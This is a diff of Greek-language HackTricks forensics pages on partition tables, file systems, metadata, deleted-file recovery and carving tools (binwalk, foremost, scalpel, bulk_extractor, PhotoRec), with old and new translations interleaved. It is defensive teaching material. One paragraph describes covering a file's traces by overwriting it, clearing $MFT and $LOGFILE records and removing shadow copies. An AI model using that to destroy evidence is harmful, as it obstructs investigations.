| 0 (0x00) | 16 bytes | [GUID τύπου κατανομής](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (μικτό endian) |
| 16 (0x10) | 16 bytes | Μοναδικός GUID κατανομής (μικτό endian) |
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένο, συνήθως περιττό) |
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 δηλώνει μόνο για ανάγνωση) |
| 56 (0x38) | 72 bytes | Όνομα κατανομής (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
**Τύποι Κατανομών**
![](<../../../.gitbook/assets/image (83).png>)
Περισσότεροι τύποι κατανομών στο [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### Επιθεώρηση
Αφού τοποθετήσετε την εικόνα εγκληματολογίας με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε:
![](<../../../.gitbook/assets/image (354).png>)
Αν ήταν ένας **πίνακας GPT αντί για MBR**, θα έπρεπε να εμφανίζεται η υπογραφή _EFI PART_ στον **τομέα 1** (ο οποίος στην προηγούμενη εικόνα είναι κενός).
**
## Συστήματα Αρχείων
### Λίστα Συστημάτων Αρχείων Windows
### Λίστα συστημάτων αρχείων Windows
* **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@ -148,70 +162,70 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### FAT
Το **FAT (File Allocation Table)** σύστημα αρχείων σχεδιάστηκε γύρω από τον πυρήνα του, τον πίνακα εκχώρησης αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, εξασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν ένα από αυτά καταστραφεί. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκονται σε μια **σταθερή τοποθεσία**, η οποία είναι κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
Το **FAT (Πίνακας Κατανομής Αρχείων)** σύστημα αρχείων έχει σχεδιαστεί γύρω από τον πυρήνα του, τον πίνακα κατανομής αρχείων, που βρίσκεται στην αρχή του τόμου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, διασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν το ένα είναι κατεστραμμένο. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκεται σε μια **σταθερή τοποθεσία**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που αποτελείται από πολλούς τομείς. Το FAT έχει εξελιχθεί μέσα από τις εκδόσεις:
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων:
* **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12-bit και χειριζόμενος έως 4078 clusters (4084 με UNIX).
* **FAT16**, ενισχύοντας σε διευθύνσεις 16-bit, επομένως φιλοξενεί έως 65,517 clusters.
* **FAT32**, προχωρώντας περαιτέρω με διευθύνσεις 32-bit, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
* **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις cluster και χειρίζεται έως 4078 clusters (4084 με UNIX).
* **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters.
* **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά τόμο.
Ένα σημαντικό περιορισμό σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το πεδίο 32-bit που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το 32-bit πεδίο που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν:
* **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
* **Χαρακτηριστικά**
* **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
* **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το cluster έναρξης του αρχείου)
* **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου)
* **Μέγεθος Αρχείου**
### EXT
Το **Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη-καταγραφή** διαμερίσματα (**διαμερίσματα που δεν αλλάζουν πολύ**) όπως το διαμέρισμα εκκίνησης. Τα **Ext3/4** είναι **καταγραφικά** και χρησιμοποιούνται συνήθως για τα **υπόλοιπα διαμερίσματα**.
**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατανομές (**κατανομές που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατανομές**.
## **Μεταδεδομένα**
Κάποια αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου το οποίο μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να περιέχει πληροφορίες όπως:
Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου που μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να έχει πληροφορίες όπως:
* Τίτλος
* Έκδοση MS Office που χρησιμοποιήθηκε
* Δημιουργός
* Συγγραφέας
* Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης
* Μοντέλο της κάμερας
* Γεωγραφικές συντεταγμένες
* Συντεταγμένες GPS
* Πληροφορίες εικόνας
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να λάβετε τα μεταδεδομένα ενός αρχείου.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να αποκτήσετε τα μεταδεδομένα ενός αρχείου.
## **Ανάκτηση Διαγραμμένων Αρχείων**
### Καταγεγραμμένα Διαγραμμένα Αρχεία
Όπως είδαμε προηγουμένως, υπάρχουν αρκετά μέρη όπου το αρχείο εξακολουθεί να αποθηκεύεται ακόμα και μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το επισημαίνει ως διαγεγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έπειτα, είναι δυνατόν να ελεγχθούν τα μητρώα των αρχείων (όπως ο MFT) και να βρεθούν τα διαγεγραμμένα αρχεία.
Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατό να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές στο σύστημα αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή τόσες πληροφορίες όσο είναι δυνατόν.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατό να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **Ανάγλυφο Αρχείων**
### **Κατασκευή Αρχείων**
Το **ανάγλυφο αρχείων** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στο μεγάλο όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι λειτουργίας εργαλείων όπως αυτά: **Βασισμένοι στους τίτλους και τους υποσέντρους των τύπων αρχείων**, βασισμένοι στις **δομές των τύπων αρχείων** και βασισμένοι στο **περιεχόμενο** ίδιο.
**Κατασκευή αρχείων** είναι μια τεχνική που προσπαθεί να **βρει αρχεία μέσα σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κομμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα μπορέσει να το βρει ή τουλάχιστον ένα μέρος του.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον ένα μέρος του.
Υπάρχουν πολλά εργαλεία που μπορείτε να χρησιμοποιήσετε για το ανάγλυφο αρχείων δείχνοντας τους τύπους αρχείων που θέλετε να αναζητήσετε
Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για την κατασκευή αρχείων υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Ανάγλυφο Ροής Δεδομένων
### Κατασκευή Ροής Δεδομένων **C**
Το Ανάγλυφο Ροής Δεδομένων είναι παρόμοιο με το Ανάγλυφο Αρχείων αλλά **αντί να αναζητά ολοκληρωμένα αρχεία, αναζητά ενδιαφέρουσες αποσπάσματα** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα ολόκληρο αρχείο που περιέχει καταγεγραμμένες διευθύνσεις URL, αυτή η τεχνική θα αναζητήσει τις διευθύνσεις URL.
Η κατασκευή ροής δεδομένων είναι παρόμοια με την κατασκευή αρχείων αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα κομμάτια** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -219,5 +233,28 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### Ασφαλής Διαγραφή
Φυσικά, υπάρχουν τρόποι για τη **"ασφαλή" διαγραφή αρχείων και μέρους των καταγραφών σχετικά με αυτά**. Για παράδειγμα, είναι δυνατόν να **αντικαταστήσετε το περιεχόμενο** ενός αρχείου με ανούσια δεδομένα πολλές φορές, και στη συνέχεια **να αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τις Αντιγραφές Σκιών του Δίσκου**.\
Μπορεί να παρατηρήσετε ότι ακόμα και εκτελώντας αυτήν την ενέργεια ενδέχεται να υπάρχουν **άλλα μέρη όπου η ύπαρξη του αρχείου εξακολουθεί να κ
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατό να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και να **αφαιρέσετε τα Αντίγραφα Σκιάς Τόμου**.\
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει.
## Αναφορές
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Πιστοποιημένος Ψηφιακός Εγκληματολόγος Windows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,131 +1,127 @@
# File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/forensics/basic-forensic-methodology/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Εργαλεία Ανάκτησης & Ανάγλυφων Δεδομένων
## Carving & Recovery tools
Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκριση για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρει "κρυμμένα" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για την εύρεση ενσωματωμένου περιεχομένου. Μπορεί να εγκατασταθεί μέσω `apt` και ο πηγαίος κώδικάς του βρίσκεται στο [GitHub](https://github.com/ReFirmLabs/binwalk).
**Χρήσιμες εντολές**:
**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλώς να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο την αντίστοιχη γραμμή. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που έχουν ρυθμιστεί.
Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλώς να αναζητήσετε ορισμένα συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα χρειαστεί να καταργήσετε τα σχόλια από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) των τύπων αρχείων που θέλετε να εξάγει.
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Αυτό το εργαλείο περιλαμβάνεται στο Kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, emails)** και περισσότερα **αρχεία**. Απλά πρέπει να:
Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, τομείς, IPs, MACs, emails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε:
```
bulk_extractor memory.img -o out_folder
```
Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **malware** ή **μη υπάρχοντες**).
### PhotoRec
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τα **τύποι αρχείων** που θέλετε το PhotoRec να αναζητήσει.
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
![](<../../../.gitbook/assets/image (524).png>)
![](<../../../.gitbook/assets/image (242).png>)
### binvis
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και το [εργαλείο στην ιστοσελίδα](https://binvis.io/#/).
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και την [ιστοσελίδα εργαλείου](https://binvis.io/#/).
#### Χαρακτηριστικά του BinVis
* Οπτικός και ενεργός **θεατής δομής**
* Πολλαπλά γραφήματα για διαφορετικά σημεία εστίασης
* Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης
* Εστίαση σε τμήματα ενός δείγματος
* **Προβολή συμβόλων και πόρων**, σε εκτελέσιμα PE ή ELF, κ.λπ.
* Λήψη **μοτίβων** για κρυπτανάλυση αρχείων
* **Εντοπισμός** αλγορίθμων συμπιεστή ή κωδικοποιητή
* **Αναγνώριση** Στεγανογραφίας με βάση τα μοτίβα
* **Οπτική** διαφοροποίηση δυαδικών αρχείων
* **Βλέποντας συμβολοσειρές και πόρους**, σε εκτελέσιμα PE ή ELF π.χ.
* Λαμβάνοντας **μοτίβα** για κρυπτοανάλυση σε αρχεία
* **Εντοπισμός** αλγορίθμων πακεταρίσματος ή κωδικοποίησης
* **Αναγνώριση** Στεγανότητας με μοτίβα
* **Οπτική** διαφορά δυαδικών αρχείων
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού.
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
## Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων
## Ειδικά Εργαλεία Κατασκευής Δεδομένων
### FindAES
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα κλειδιών τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από TrueCrypt και BitLocker.
Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
Λήψη [εδώ](https://sourceforge.net/projects/findaes/).
Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/).
## Συμπληρωματικά εργαλεία
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu)για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/forensics/basic-forensic-methodology/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# Έλεγχος Pcap
# Pcap Inspection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
